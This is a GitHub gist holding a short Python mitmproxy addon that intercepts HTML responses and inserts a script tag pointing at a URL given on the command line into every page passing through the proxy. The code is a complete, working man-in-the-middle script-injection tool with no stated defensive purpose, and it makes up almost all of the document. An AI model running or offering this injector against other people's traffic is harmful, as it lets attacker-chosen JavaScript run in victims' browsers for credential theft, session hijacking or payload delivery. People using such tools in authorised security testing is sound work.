Created
May 23, 2018 03:05
-
-
Save nrafter/24876758239aa997b4b63dc5c99d1fd1 to your computer and use it in GitHub Desktop.
mitmproxy.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from bs4 import BeautifulSoup | |
from mitmproxy import ctx, http | |
import argparse | |
class Injector: | |
def __init__(self, path): | |
self.path = path | |
def response(self, flow: http.HTTPFlow) -> None: | |
if self.path: | |
html = BeautifulSoup(flow.response.content, "html.parser") | |
print(self.path) | |
print(flow.response.headers["content-type"]) | |
if flow.response.headers["content-type"] == 'text/html': | |
script = html.new_tag( | |
"script", | |
src=self.path, | |
type='application/javascript') | |
html.body.insert(0, script) | |
flow.response.content = str(html).encode("utf8") | |
print("Script injected.") | |
def start(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument("path", type=str) | |
args = parser.parse_args() | |
return Injector(args.path) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment